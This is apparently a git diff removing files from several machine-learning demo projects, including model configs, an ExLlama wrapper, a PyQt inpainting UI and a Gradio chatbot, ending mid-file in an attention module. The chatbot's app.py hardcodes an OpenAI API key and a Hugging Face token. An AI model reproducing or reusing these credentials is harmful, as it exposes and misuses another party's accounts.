100644 index 0627e2b5a76dead859212d4cab116c160df21404..0000000000000000000000000000000000000000 --- a/spaces/Andy1621/uniformer_image_segmentation/configs/nonlocal_net/nonlocal_r101-d8_769x769_80k_cityscapes.py +++ /dev/null @@ -1,2 +0,0 @@ -_base_ = './nonlocal_r50-d8_769x769_80k_cityscapes.py' -model = dict(pretrained='open-mmlab://resnet101_v1c', backbone=dict(depth=101)) diff --git a/spaces/Andy1621/uniformer_image_segmentation/configs/pspnet/pspnet_r50-d8_512x512_80k_ade20k.py b/spaces/Andy1621/uniformer_image_segmentation/configs/pspnet/pspnet_r50-d8_512x512_80k_ade20k.py deleted file mode 100644 index 52efdf51d7d66c3205c1448c45ae281649a0901e..0000000000000000000000000000000000000000 --- a/spaces/Andy1621/uniformer_image_segmentation/configs/pspnet/pspnet_r50-d8_512x512_80k_ade20k.py +++ /dev/null @@ -1,6 +0,0 @@ -_base_ = [ - '../_base_/models/pspnet_r50-d8.py', '../_base_/datasets/ade20k.py', - '../_base_/default_runtime.py', '../_base_/schedules/schedule_80k.py' -] -model = dict( - decode_head=dict(num_classes=150), auxiliary_head=dict(num_classes=150)) diff --git a/spaces/AnishKumbhar/ChatBot/text-generation-webui-main/modules/exllama_hf.py b/spaces/AnishKumbhar/ChatBot/text-generation-webui-main/modules/exllama_hf.py deleted file mode 100644 index 3ba1f3c3867b14de885d54d516418a81135d45bc..0000000000000000000000000000000000000000 --- a/spaces/AnishKumbhar/ChatBot/text-generation-webui-main/modules/exllama_hf.py +++ /dev/null @@ -1,174 +0,0 @@ -import os -from pathlib import Path -from typing import Any, Dict, Optional, Union - -import torch -from torch.nn import CrossEntropyLoss -from transformers import GenerationConfig, PretrainedConfig, PreTrainedModel -from transformers.modeling_outputs import CausalLMOutputWithPast - -from modules import shared -from modules.logging_colors import logger - -try: - from exllama.model import ExLlama, ExLlamaCache, ExLlamaConfig -except: - logger.warning('Exllama module failed to load. Will attempt to load from repositories.') - try: - from modules.relative_imports import RelativeImport - - with RelativeImport("repositories/exllama"): - from model import ExLlama, ExLlamaCache, ExLlamaConfig - except: - logger.error("Could not find repositories/exllama/. Make sure that exllama is cloned inside repositories/ and is up to date.") - raise - - -class ExllamaHF(PreTrainedModel): - def __init__(self, config: ExLlamaConfig): - super().__init__(PretrainedConfig()) - self.ex_config = config - self.ex_model = ExLlama(self.ex_config) - self.generation_config = GenerationConfig() - self.lora = None - - self.ex_cache = ExLlamaCache(self.ex_model) - self.past_seq = None - - if shared.args.cfg_cache: - self.ex_cache_negative = ExLlamaCache(self.ex_model) - self.past_seq_negative = None - - def _validate_model_class(self): - pass - - def _validate_model_kwargs(self, model_kwargs: Dict[str, Any]): - pass - - def prepare_inputs_for_generation(self, input_ids, **kwargs): - return {'input_ids': input_ids, **kwargs} - - @property - def device(self) -> torch.device: - return torch.device(0) - - def __call__(self, *args, **kwargs): - use_cache = kwargs.get('use_cache', True) - labels = kwargs.get('labels', None) - past_key_values = kwargs.get('past_key_values', None) - - if len(args) > 0: - if not shared.args.cfg_cache: - logger.error("Please enable the cfg-cache option to use CFG with ExLlama_HF.") - return - - input_ids = args[0] - is_negative = True - past_seq = self.past_seq_negative - ex_cache = self.ex_cache_negative - else: - input_ids = kwargs['input_ids'] - is_negative = False - past_seq = self.past_seq - ex_cache = self.ex_cache - - seq = input_ids[0].tolist() - if is_negative and past_key_values is not None: - seq = past_key_values + seq - - seq_tensor = torch.tensor(seq) - reset = True - - # Make the forward call - if labels is None: - if past_seq is not None: - min_length = min(past_seq.shape[0], seq_tensor.shape[0]) - indices = torch.nonzero(~torch.eq(past_seq[:min_length], seq_tensor[:min_length])) - if len(indices) > 0: - longest_prefix = indices[0].item() - else: - longest_prefix = min_length - - if longest_prefix > 0: - reset = False - ex_cache.current_seq_len = longest_prefix - if len(seq_tensor) - longest_prefix > 1: - self.ex_model.forward(seq_tensor[longest_prefix:-1].view(1, -1), ex_cache, preprocess_only=True, lora=self.lora) - elif len(seq_tensor) == longest_prefix: - # Very tricky: if the prefix we are reusing *is* the input_ids, then we have to back up the cache pointer by one, - # because we feed input_ids[-1] to forward() below, but that last token is already in the cache! - ex_cache.current_seq_len -= 1 - - if reset: - ex_cache.current_seq_len = 0 - if len(seq_tensor) > 1: - self.ex_model.forward(seq_tensor[:-1].view(1, -1), ex_cache, preprocess_only=True, lora=self.lora) - - logits = self.ex_model.forward(seq_tensor[-1:].view(1, -1), ex_cache, lora=self.lora).to(input_ids.device) - else: - ex_cache.current_seq_len = 0 - logits = self.ex_model.forward(seq_tensor.view(1, -1), ex_cache, last_id_only=False, lora=self.lora) - - if is_negative: - self.past_seq_negative = seq_tensor - else: - self.past_seq = seq_tensor - - loss = None - if labels is not None: - # Shift so that tokens < n predict n - shift_logits = logits[..., :-1, :].contiguous() - shift_labels = labels[..., 1:].contiguous() - # Flatten the tokens - loss_fct = CrossEntropyLoss() - shift_logits = shift_logits.view(-1, logits.shape[-1]) - shift_labels = shift_labels.view(-1) - # Enable model parallelism - shift_labels = shift_labels.to(shift_logits.device) - loss = loss_fct(shift_logits, shift_labels) - - return CausalLMOutputWithPast(logits=logits, past_key_values=seq if use_cache else None, loss=loss) - - @classmethod - def from_pretrained(cls, pretrained_model_name_or_path: Optional[Union[str, os.PathLike]], *model_args, **kwargs): - assert len(model_args) == 0 and len(kwargs) == 0, "extra args is currently not supported" - if isinstance(pretrained_model_name_or_path, str): - pretrained_model_name_or_path = Path(pretrained_model_name_or_path) - - pretrained_model_name_or_path = Path(f'{shared.args.model_dir}') / Path(pretrained_model_name_or_path) - config = ExLlamaConfig(pretrained_model_name_or_path / 'config.json') - - # from 'oobabooga/text-generation-webui/modules/exllama.py' - weight_path = None - for ext in ['.safetensors', '.pt', '.bin']: - found = list(pretrained_model_name_or_path.glob(f"*{ext}")) - if len(found) > 0: - weight_path = found[-1] - break - assert weight_path is not None, f'could not find weight in "{pretrained_model_name_or_path}"' - - config.model_path = str(weight_path) - config.max_seq_len = shared.args.max_seq_len - config.compress_pos_emb = shared.args.compress_pos_emb - if shared.args.gpu_split: - config.set_auto_map(shared.args.gpu_split) - config.gpu_peer_fix = True - - if shared.args.alpha_value > 1 and shared.args.rope_freq_base == 0: - config.alpha_value = shared.args.alpha_value - config.calculate_rotary_embedding_base() - elif shared.args.rope_freq_base > 0: - config.rotary_embedding_base = shared.args.rope_freq_base - - if torch.version.hip: - config.rmsnorm_no_half2 = True - config.rope_no_half2 = True - config.matmul_no_half2 = True - config.silu_no_half2 = True - - # This slowes down a bit but align better with autogptq generation. - # TODO: Should give user choice to tune the exllama config - # config.fused_attn = False - # config.fused_mlp_thd = 0 - - return ExllamaHF(config) diff --git a/spaces/Anonymous-123/ImageNet-Editing/object_removal/TFill/gui/ui_win.py b/spaces/Anonymous-123/ImageNet-Editing/object_removal/TFill/gui/ui_win.py deleted file mode 100644 index 1b67ce97cdd50e46ece0369a131fb00eeb893056..0000000000000000000000000000000000000000 --- a/spaces/Anonymous-123/ImageNet-Editing/object_removal/TFill/gui/ui_win.py +++ /dev/null @@ -1,164 +0,0 @@ -# -*- coding: utf-8 -*- - -# Form implementation generated from reading ui file 'ui_window.ui' -# -# Created by: PyQt5 UI code generator 5.11.2 -# -# WARNING! All changes made in this file will be lost! - -from PyQt5 import QtCore, QtGui, QtWidgets - - -class Ui_Form(object): - def setupUi(self, Form): - Form.setObjectName("Form") - Form.resize(1480, 1280) - self.label = QtWidgets.QLabel(Form) - self.label.setGeometry(QtCore.QRect(500, 10, 500, 40)) - font = QtGui.QFont() - font.setPointSize(18) - font.setBold(True) - font.setUnderline(False) - font.setWeight(75) - self.label.setFont(font) - self.label.setAlignment(QtCore.Qt.AlignCenter) - self.label.setObjectName("label") - - self.layoutWidget1 = QtWidgets.QWidget(Form) - self.layoutWidget1.setGeometry(QtCore.QRect(60, 60, 150, 30)) - self.layoutWidget1.setObjectName("layoutWidget1") - self.horizontalLayout_1 = QtWidgets.QHBoxLayout(self.layoutWidget1) - self.horizontalLayout_1.setContentsMargins(0, 0, 0, 0) - self.horizontalLayout_1.setObjectName("horizontalLayout_2") - self.label_2 = QtWidgets.QLabel(self.layoutWidget1) - self.label_2.setAlignment(QtCore.Qt.AlignCenter) - self.label_2.setObjectName("label_2") - self.horizontalLayout_1.addWidget(self.label_2) - self.spinBox = QtWidgets.QSpinBox(self.layoutWidget1) - self.spinBox.setMinimum(3) - self.spinBox.setMaximum(40) - self.spinBox.setSingleStep(2) - self.spinBox.setProperty("value", 3) - self.spinBox.setObjectName("spinBox") - self.horizontalLayout_1.addWidget(self.spinBox) - - self.layoutWidget2 = QtWidgets.QWidget(Form) - self.layoutWidget2.setGeometry(QtCore.QRect(580, 60, 200, 30)) - self.layoutWidget2.setObjectName("layoutWidget2") - self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.layoutWidget2) - self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0) - self.horizontalLayout_2.setObjectName("horizontalLayout") - self.label_3 = QtWidgets.QLabel(self.layoutWidget2) - self.label_3.setObjectName("label_3") - self.horizontalLayout_2.addWidget(self.label_3) - self.comboBox = QtWidgets.QComboBox(self.layoutWidget2) - sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) - sizePolicy.setHorizontalStretch(0) - sizePolicy.setVerticalStretch(0) - sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().hasHeightForWidth()) - self.comboBox.setSizePolicy(sizePolicy) - self.comboBox.setObjectName("comboBox") - self.comboBox.addItem("") - self.comboBox.addItem("") - self.comboBox.addItem("") - self.comboBox.addItem("") - self.comboBox.addItem("") - self.horizontalLayout_2.addWidget(self.comboBox) - - self.pushButton = QtWidgets.QPushButton(Form) - self.pushButton.setGeometry(QtCore.QRect(70, 160, 110, 20)) - self.pushButton.setObjectName("pushButton_5") - self.groupBox = QtWidgets.QGroupBox(Form) - self.groupBox.setGeometry(QtCore.QRect(70, 170, 120, 110)) - self.groupBox.setTitle("") - self.groupBox.setObjectName("groupBox") - self.radioButton = QtWidgets.QRadioButton(self.groupBox) - self.radioButton.setGeometry(QtCore.QRect(10, 20, 96, 20)) - self.radioButton.setObjectName("radioButton") - self.radioButton_2 = QtWidgets.QRadioButton(self.groupBox) - self.radioButton_2.setGeometry(QtCore.QRect(10, 50, 96, 20)) - self.radioButton_2.setObjectName("radioButton_2") - self.radioButton_3 = QtWidgets.QRadioButton(self.groupBox) - self.radioButton_3.setGeometry(QtCore.QRect(10, 80, 96, 20)) - self.radioButton_3.setObjectName("radioButton_3") - - self.layoutWidget = QtWidgets.QWidget(Form) - self.layoutWidget.setGeometry(QtCore.QRect(70, 320, 111, 291)) - self.layoutWidget.setObjectName("layoutWidget") - self.verticalLayout = QtWidgets.QVBoxLayout(self.layoutWidget) - self.verticalLayout.setContentsMargins(0, 0, 0, 0) - self.verticalLayout.setObjectName("verticalLayout") - self.pushButton_2 = QtWidgets.QPushButton(self.layoutWidget) - self.pushButton_2.setObjectName("pushButton_2") - self.verticalLayout.addWidget(self.pushButton_2) - self.pushButton_3 = QtWidgets.QPushButton(self.layoutWidget) - self.pushButton_3.setObjectName("pushButton_3") - self.verticalLayout.addWidget(self.pushButton_3) - self.pushButton_4 = QtWidgets.QPushButton(self.layoutWidget) - self.pushButton_4.setObjectName("pushButton_4") - self.verticalLayout.addWidget(self.pushButton_4) - self.pushButton_5 = QtWidgets.QPushButton(self.layoutWidget) - self.pushButton_5.setObjectName("pushButton_5") - self.verticalLayout.addWidget(self.pushButton_5) - self.pushButton_6 = QtWidgets.QPushButton(self.layoutWidget) - self.pushButton_6.setObjectName("pushButton_6") - self.verticalLayout.addWidget(self.pushButton_6) - self.pushButton_7 = QtWidgets.QPushButton(self.layoutWidget) - self.pushButton_7.setObjectName("pushButton_7") - self.verticalLayout.addWidget(self.pushButton_7) - - self.layoutWidget3 = QtWidgets.QWidget(Form) - self.layoutWidget3.setGeometry(QtCore.QRect(820, 60, 100, 30)) - self.layoutWidget3.setObjectName("layoutWidget3") - self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.layoutWidget3) - self.horizontalLayout_3.setContentsMargins(0, 0, 0, 0) - self.horizontalLayout_3.setObjectName("horizontalLayout2") - self.comboBox_2 = QtWidgets.QComboBox(self.layoutWidget3) - sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) - sizePolicy.setHorizontalStretch(0) - sizePolicy.setVerticalStretch(0) - sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().hasHeightForWidth()) - self.comboBox_2.setSizePolicy(sizePolicy) - self.comboBox_2.setObjectName("comboBox") - self.comboBox_2.addItem("") - self.comboBox_2.addItem("") - self.comboBox_2.addItem("") - self.horizontalLayout_3.addWidget(self.comboBox_2) - - self.stackedWidget = QtWidgets.QStackedWidget(Form) - self.stackedWidget.setGeometry(QtCore.QRect(250, 100, 1024, 1024)) - self.stackedWidget.setObjectName("stackedWidget") - self.page_3 = QtWidgets.QWidget() - self.page_3.setObjectName("page_3") - self.stackedWidget.addWidget(self.page_3) - self.page_4 = QtWidgets.QWidget() - self.page_4.setObjectName("page_4") - self.stackedWidget.addWidget(self.page_4) - - self.retranslateUi(Form) - QtCore.QMetaObject.connectSlotsByName(Form) - - def retranslateUi(self, Form): - _translate = QtCore.QCoreApplication.translate - Form.setWindowTitle(_translate("Form", " ")) - self.label.setText(_translate("Form", "Image Completion")) - self.label_2.setText(_translate("Form", "Bush Width:")) - self.label_3.setText(_translate("Form", "Options:")) - self.comboBox.setItemText(0, _translate("Form", "None")) - self.comboBox.setItemText(1, _translate("Form", "CelebA-HQ")) - self.comboBox.setItemText(2, _translate("Form", "Paris")) - self.comboBox.setItemText(3, _translate("Form", "ImageNet")) - self.comboBox.setItemText(4, _translate("Form", "Places2")) - self.pushButton.setText(_translate("Form", "draw/clear")) - self.radioButton.setText(_translate("Form", "free-form")) - self.radioButton_2.setText(_translate("Form", "rectangle")) - self.radioButton_3.setText(_translate("Form", "center-mask")) - self.pushButton_2.setText(_translate("Form", "load image")) - self.pushButton_3.setText(_translate("Form", "random image")) - self.pushButton_4.setText(_translate("Form", "load mask")) - self.pushButton_5.setText(_translate("Form", "random mask")) - self.pushButton_6.setText(_translate("Form", "fill")) - self.pushButton_7.setText(_translate("Form", "save")) - self.comboBox_2.setItemText(0, _translate("Form", "Input")) - self.comboBox_2.setItemText(1, _translate("Form", "Masked")) - self.comboBox_2.setItemText(2, _translate("Form", "Output")) \ No newline at end of file diff --git a/spaces/Arafath10/chatcode/app.py b/spaces/Arafath10/chatcode/app.py deleted file mode 100644 index 1f755928be10330dcc5e316cb59e880c0b28b8ba..0000000000000000000000000000000000000000 --- a/spaces/Arafath10/chatcode/app.py +++ /dev/null @@ -1,273 +0,0 @@ -import gradio as gr -import wikipedia -import requests -from bs4 import BeautifulSoup -import pyjokes - - - -def essay_query(payload): - API_URL = "https://api-inference.huggingface.co/models/facebook/bart-large-cnn" - data = json.dumps(payload) - response = requests.request("POST", API_URL, headers=headers, data=data) - return json.loads(response.content.decode("utf-8")) - -def essay(name): - - result_count = 2 - - f_result = "" - result = {"",""} - text ="" - - url = "https://www.google.com/search?q="+name - r = requests.get(url) - - soup = BeautifulSoup(r.text,"html.parser") - - heading_object=soup.find_all('div') - - for info in heading_object: - - if '
        ' in str(info): - if '›' not in str(info.text) : - result.add(info.text) - - n=0 - for i in result: - if n!=0: - i = i.split("·",1) - try: - i = i[1] - except: - i = i[0] - i=i.split("Duration") - - i = i[0] - text = text +str(n)+"\t"+i+"\n\n" - n=n+1 - - if result_count == 1: - temp = "" - - else: - for r in text.split("\n\n")[0:-1]: - if "..." in r: - r = r.split("...") - w = essay_query(r[0].replace("\xa0","")) - f_result = f_result + (w[0]['summary_text']) - else: - #print(r[:-1]) - w = essay_query(r[:-1]) - f_result = f_result +(w[0]['summary_text']) - return f_result - - - -def code(name): - name = name.split('learn')[-1] - name = name.split('start')[-1] - name = name.split()[0] - - url = "https://www.w3schools.com/"+name+"/"+name+"_syntax.asp" - r = requests.get(url) - soup = BeautifulSoup(r.text,"html.parser") - - - heading_object=soup.find_all('div') - result = "" - for info in heading_object: - info1 = str(info) - if '' not in info1 and '
        ' in info1: - - #print(n) - text = str(info.text).split('Next ❯')[1].split("❮ Previous")[0].split("\n\n\n") - #print(text) - for r in text: - if "Test Yourself With Exercises" in r or "Submit Answer »" in r or "On this page" in r: - continue - else: - result = result + r+"\n\n" - return result - - - -def joke(): - # importing installed library - - My_joke = pyjokes.get_joke(language="en", category="neutral") - - return My_joke - - -def wiki(name): - text = name - text = text.split("the")[-1] - text = text.split("is a")[-1] - text = text.split("by")[-1] - #print(wikipedia.search(text, results=20)) - #print(text) - out = "try this key words :\n"+str(wikipedia.search(text, results=10))+"\n\n" - for i in wikipedia.search(text, results=3): - try: - result = wikipedia.summary(i) - if " " in result.lower(): - #print(result) - #print() - out = out + result+"\n" - except: - continue - return out - -import openai -openai.api_key = "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" -def aitext(word): - response = openai.Completion.create( - model="text-davinci-003", - prompt=word, - temperature=0.9, - max_tokens=200, - top_p=1, - frequency_penalty=0, - presence_penalty=0.6, - stop=[" Human:", " AI:"] - ) - - return response.choices[0].text - -import json -headers = {"Authorization": f"Bearer {'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'}"} -def sumy(payload): - API_URL = "https://api-inference.huggingface.co/models/facebook/bart-large-cnn" - data = json.dumps(payload) - response = requests.request("POST", API_URL, headers=headers, data=data) - return json.loads(response.content.decode("utf-8")) - - -def query(payload): - API_URL = "https://api-inference.huggingface.co/models/facebook/bart-large-cnn" - data = json.dumps(payload) - response = requests.request("POST", API_URL, headers=headers, data=data) - return json.loads(response.content.decode("utf-8")) - -def google(name): - if "give" in name or "reason" in name or "result" in name or "step" in name: - - result_count = 2 - print(name) - - else: - result_count = 1 - - f_result = "" - result = {"",""} - text ="" - - - url = "https://www.google.com/search?q="+name - r = requests.get(url) - - soup = BeautifulSoup(r.text,"html.parser") - - heading_object=soup.find_all('div') - - for info in heading_object: - - if '
        ' in str(info): - if '›' not in str(info.text) : - result.add(info.text) - - n=0 - for i in result: - if n!=0: - i = i.split("·",1) - try: - i = i[1] - except: - i = i[0] - i=i.split("Duration") - - i = i[0] - text = text +str(n)+"\t"+i+"\n\n" - n=n+1 - - if result_count == 1: - temp = "" - for r in text.split("\n\n"): - temp = temp+r.split("...")[0] - f_result = sumy({"inputs":temp,"parameters": {"do_sample": False,"max_length":300}}) - return f_result[0]['summary_text'] - else: - n=1 - for r in text.split("\n\n")[2:-2]: - if len(r)>10: - if "..." in r: - r = r.split("...") - w = query(r[0].replace("\xa0","")) - f_result = f_result + str(n)+"\t"+(w[0]['summary_text'])+"\n\n"+r"\\" - else: - #print(r[:-1]) - w = query(r[:-1]) - f_result = f_result + str(n)+"\t"+(w[0]['summary_text'])+"\n\n"+r"\\" - n=n+1 - return f_result -from PyDictionary import PyDictionary -def greet(name1): - name = name1.lower() - - #dictionary=PyDictionary() - #dic = dictionary.meaning(name) - - #try: - #return "Noun :"+ str(dic['Noun']) + "\nVerb :"+ str(dic['Verb']) - #except : - #return dic - - if "who are you" in name or "what is you" in name or "your name" in name or"who r u" in name: - - return "Im Ai Based Chatbot Created by ssebowa.org" - - if "who developed you" in name or "what is you" in name or "who mad you" in name or "who made you" in name: - return "ssebowa.org" - - if "tell me a joke" in name or "the joke" in name: - return joke() - - if "love you" in name or "i love" in name: - return "me too" - if "marry me" in name or "marry" in name: - return "im not intrested" - if "your age" in name or "what is your age" in name: - return "Im not a human so i don't have age" - if "thank u" in name or "thanks" in name or "thank you" in name: - return "ok welcome ....!" - if "write the essay" in name or "write essay" in name: - name = name.split("about")[-1] - return essay(name) - if "how to learn" in name or "steps for learning" in name or "step for learning" in name or "steps for" in name or "step for" in name: - try: - cresult = code(name) - return google(name)+"\n\n"+cresult - except: - return google(name) - else: - return google(name)+"" - - - - - - - - - - - - - - - -iface = gr.Interface(fn=greet, inputs="text", outputs="text") -iface.launch() - - diff --git a/spaces/Armored-Atom/Image-To-Motion/style.css b/spaces/Armored-Atom/Image-To-Motion/style.css deleted file mode 100644 index 435ebb5987b8913a52f73664c54022374d0c3ed7..0000000000000000000000000000000000000000 --- a/spaces/Armored-Atom/Image-To-Motion/style.css +++ /dev/null @@ -1,19 +0,0 @@ -h1 { - text-align: center; -} -img#overview { - max-width: 1000px; - max-height: 600px; - display: block; - margin: auto; -} -img#style-image { - max-width: 1000px; - max-height: 600px; - display: block; - margin: auto; -} -img#visitor-badge { - display: block; - margin: auto; -} \ No newline at end of file diff --git a/spaces/Artrajz/vits-simple-api/bert_vits2/attentions.py b/spaces/Artrajz/vits-simple-api/bert_vits2/attentions.py deleted file mode 100644 index a027094134d617b3d1493e3d6981ca7825972fc6..0000000000000000000000000000000000000000 --- a/spaces/Artrajz/vits-simple-api/bert_vits2/attentions.py +++ /dev/null @@ -1,352 +0,0 @@ -import math -import torch -from torch import nn -from torch.nn import functional as F -from bert_vits2 import commons -from torch.nn.utils import weight_norm, remove_weight_norm - - -class LayerNorm(nn.Module): - def __init__(self, channels, eps=1e-5): - super().__init__() - self.channels = channels - self.eps = eps - - self.gamma = nn.Parameter(torch.ones(channels)) - self.beta = nn.Parameter(torch.zeros(channels)) - - def forward(self, x): - x = x.transpose(1, -1) - x = F.layer_norm(x, (self.channels,), self.gamma, self.beta, self.eps) - return x.transpose(1, -1) - - -@torch.jit.script -def fused_add_tanh_sigmoid_multiply(input_a, input_b, n_channels): - n_channels_int = n_channels[0] - in_act = input_a + input_b - t_act = torch.tanh(in_act[:, :n_channels_int, :]) - s_act = torch.sigmoid(in_act[:, n_channels_int:, :]) - acts = t_act * s_act - return acts - - -class Encoder(nn.Module): - def __init__(self, hidden_channels, filter_channels, n_heads, n_layers, kernel_size=1, p_dropout=0., window_size=4, - isflow=True, **kwargs): - super().__init__() - self.hidden_channels = hidden_channels - self.filter_channels = filter_channels - self.n_heads = n_heads - self.n_layers = n_layers - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.window_size = window_size - # if isflow: - # cond_layer = torch.nn.Conv1d(256, 2 * hidden_channels * n_layers, 1) - # self.cond_pre = torch.nn.Conv1d(hidden_channels, 2 * hidden_channels, 1) - # self.cond_layer = weight_norm(cond_layer, name='weight') - # self.gin_channels = 256 - self.cond_layer_idx = self.n_layers - if 'gin_channels' in kwargs: - self.gin_channels = kwargs['gin_channels'] - if self.gin_channels != 0: - self.spk_emb_linear = nn.Linear(self.gin_channels, self.hidden_channels) - # vits2 says 3rd block, so idx is 2 by default - self.cond_layer_idx = kwargs['cond_layer_idx'] if 'cond_layer_idx' in kwargs else 2 - # print(self.gin_channels, self.cond_layer_idx) - assert self.cond_layer_idx < self.n_layers, 'cond_layer_idx should be less than n_layers' - self.drop = nn.Dropout(p_dropout) - self.attn_layers = nn.ModuleList() - self.norm_layers_1 = nn.ModuleList() - self.ffn_layers = nn.ModuleList() - self.norm_layers_2 = nn.ModuleList() - for i in range(self.n_layers): - self.attn_layers.append(MultiHeadAttention(hidden_channels, hidden_channels, n_heads, p_dropout=p_dropout, - window_size=window_size)) - self.norm_layers_1.append(LayerNorm(hidden_channels)) - self.ffn_layers.append( - FFN(hidden_channels, hidden_channels, filter_channels, kernel_size, p_dropout=p_dropout)) - self.norm_layers_2.append(LayerNorm(hidden_channels)) - - def forward(self, x, x_mask, g=None): - attn_mask = x_mask.unsqueeze(2) * x_mask.unsqueeze(-1) - x = x * x_mask - for i in range(self.n_layers): - if i == self.cond_layer_idx and g is not None: - g = self.spk_emb_linear(g.transpose(1, 2)) - g = g.transpose(1, 2) - x = x + g - x = x * x_mask - y = self.attn_layers[i](x, x, attn_mask) - y = self.drop(y) - x = self.norm_layers_1[i](x + y) - - y = self.ffn_layers[i](x, x_mask) - y = self.drop(y) - x = self.norm_layers_2[i](x + y) - x = x * x_mask - return x - - -class Decoder(nn.Module): - def __init__(self, hidden_channels, filter_channels, n_heads, n_layers, kernel_size=1, p_dropout=0., - proximal_bias=False, proximal_init=True, **kwargs): - super().__init__() - self.hidden_channels = hidden_channels - self.filter_channels = filter_channels - self.n_heads = n_heads - self.n_layers = n_layers - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.proximal_bias = proximal_bias - self.proximal_init = proximal_init - - self.drop = nn.Dropout(p_dropout) - self.self_attn_layers = nn.ModuleList() - self.norm_layers_0 = nn.ModuleList() - self.encdec_attn_layers = nn.ModuleList() - self.norm_layers_1 = nn.ModuleList() - self.ffn_layers = nn.ModuleList() - self.norm_layers_2 = nn.ModuleList() - for i in range(self.n_layers): - self.self_attn_layers.append( - MultiHeadAttention(hidden_channels, hidden_channels, n_heads, p_dropout=p_dropout, - proximal_bias=proximal_bias, proximal_init=proximal_init)) - self.norm_layers_0.append(LayerNorm(hidden_channels)) - self.encdec_attn_layers.append( - MultiHeadAttention(hidden_channels, hidden_channels, n_heads, p_dropout=p_dropout)) - self.norm_layers_1.append(LayerNorm(hidden_channels)) - self.ffn_layers.append( - FFN(hidden_channels, hidden_channels, filter_channels, kernel_size, p_dropout=p_dropout, causal=True)) - self.norm_layers_2.append(LayerNorm(hidden_channels)) - - def forward(self, x, x_mask, h, h_mask): - """ - x: decoder input - h: encoder output - """ - self_attn_mask = commons.subsequent_mask(x_mask.size(2)).to(device=x.device, dtype=x.dtype) - encdec_attn_mask = h_mask.unsqueeze(2) * x_mask.unsqueeze(-1) - x = x * x_mask - for i in range(self.n_layers): - y = self.self_attn_layers[i](x, x, self_attn_mask) - y = self.drop(y) - x = self.norm_layers_0[i](x + y) - - y = self.encdec_attn_layers[i](x, h, encdec_attn_mask) - y = self.drop(y) - x = self.norm_layers_1[i](x + y) - - y = self.ffn_layers[i](x, x_mask) - y = self.drop(y) - x = self.norm_layers_2[i](x + y) - x = x * x_mask - return x - - -class MultiHeadAttention(nn.Module): - def __init__(self, channels, out_channels, n_heads, p_dropout=0., window_size=None, heads_share=True, - block_length=None, proximal_bias=False, proximal_init=False): - super().__init__() - assert channels % n_heads == 0 - - self.channels = channels - self.out_channels = out_channels - self.n_heads = n_heads - self.p_dropout = p_dropout - self.window_size = window_size - self.heads_share = heads_share - self.block_length = block_length - self.proximal_bias = proximal_bias - self.proximal_init = proximal_init - self.attn = None - - self.k_channels = channels // n_heads - self.conv_q = nn.Conv1d(channels, channels, 1) - self.conv_k = nn.Conv1d(channels, channels, 1) - self.conv_v = nn.Conv1d(channels, channels, 1) - self.conv_o = nn.Conv1d(channels, out_channels, 1) - self.drop = nn.Dropout(p_dropout) - - if window_size is not None: - n_heads_rel = 1 if heads_share else n_heads - rel_stddev = self.k_channels ** -0.5 - self.emb_rel_k = nn.Parameter(torch.randn(n_heads_rel, window_size * 2 + 1, self.k_channels) * rel_stddev) - self.emb_rel_v = nn.Parameter(torch.randn(n_heads_rel, window_size * 2 + 1, self.k_channels) * rel_stddev) - - nn.init.xavier_uniform_(self.conv_q.weight) - nn.init.xavier_uniform_(self.conv_k.weight) - nn.init.xavier_uniform_(self.conv_v.weight) - if proximal_init: - with torch.no_grad(): - self.conv_k.weight.copy_(self.conv_q.weight) - self.conv_k.bias.copy_(self.conv_q.bias) - - def forward(self, x, c, attn_mask=None): - q = self.conv_q(x) - k = self.conv_k(c) - v = self.conv_v(c) - - x, self.attn = self.attention(q, k, v, mask=attn_mask) - - x = self.conv_o(x) - return x - - def attention(self, query, key, value, mask=None): - # reshape [b, d, t] -> [b, n_h, t, d_k] - b, d, t_s, t_t = (*key.size(), query.size(2)) - query = query.view(b, self.n_heads, self.k_channels, t_t).transpose(2, 3) - key = key.view(b, self.n_heads, self.k_channels, t_s).transpose(2, 3) - value = value.view(b, self.n_heads, self.k_channels, t_s).transpose(2, 3) - - scores = torch.matmul(query / math.sqrt(self.k_channels), key.transpose(-2, -1)) - if self.window_size is not None: - assert t_s == t_t, "Relative attention is only available for self-attention." - key_relative_embeddings = self._get_relative_embeddings(self.emb_rel_k, t_s) - rel_logits = self._matmul_with_relative_keys(query / math.sqrt(self.k_channels), key_relative_embeddings) - scores_local = self._relative_position_to_absolute_position(rel_logits) - scores = scores + scores_local - if self.proximal_bias: - assert t_s == t_t, "Proximal bias is only available for self-attention." - scores = scores + self._attention_bias_proximal(t_s).to(device=scores.device, dtype=scores.dtype) - if mask is not None: - scores = scores.masked_fill(mask == 0, -1e4) - if self.block_length is not None: - assert t_s == t_t, "Local attention is only available for self-attention." - block_mask = torch.ones_like(scores).triu(-self.block_length).tril(self.block_length) - scores = scores.masked_fill(block_mask == 0, -1e4) - p_attn = F.softmax(scores, dim=-1) # [b, n_h, t_t, t_s] - p_attn = self.drop(p_attn) - output = torch.matmul(p_attn, value) - if self.window_size is not None: - relative_weights = self._absolute_position_to_relative_position(p_attn) - value_relative_embeddings = self._get_relative_embeddings(self.emb_rel_v, t_s) - output = output + self._matmul_with_relative_values(relative_weights, value_relative_embeddings) - output = output.transpose(2, 3).contiguous().view(b, d, t_t) # [b, n_h, t_t, d_k] -> [b, d, t_t] - return output, p_attn - - def _matmul_with_relative_values(self, x, y): - """ - x: [b, h, l, m] - y: [h or 1, m, d] - ret: [b, h, l, d] - """ - ret = torch.matmul(x, y.unsqueeze(0)) - return ret - - def _matmul_with_relative_keys(self, x, y): - """ - x: [b, h, l, d] - y: [h or 1, m, d] - ret: [b, h, l, m] - """ - ret = torch.matmul(x, y.unsqueeze(0).transpose(-2, -1)) - return ret - - def _get_relative_embeddings(self, relative_embeddings, length): - max_relative_position = 2 * self.window_size + 1 - # Pad first before slice to avoid using cond ops. - pad_length = max(length - (self.window_size + 1), 0) - slice_start_position = max((self.window_size + 1) - length, 0) - slice_end_position = 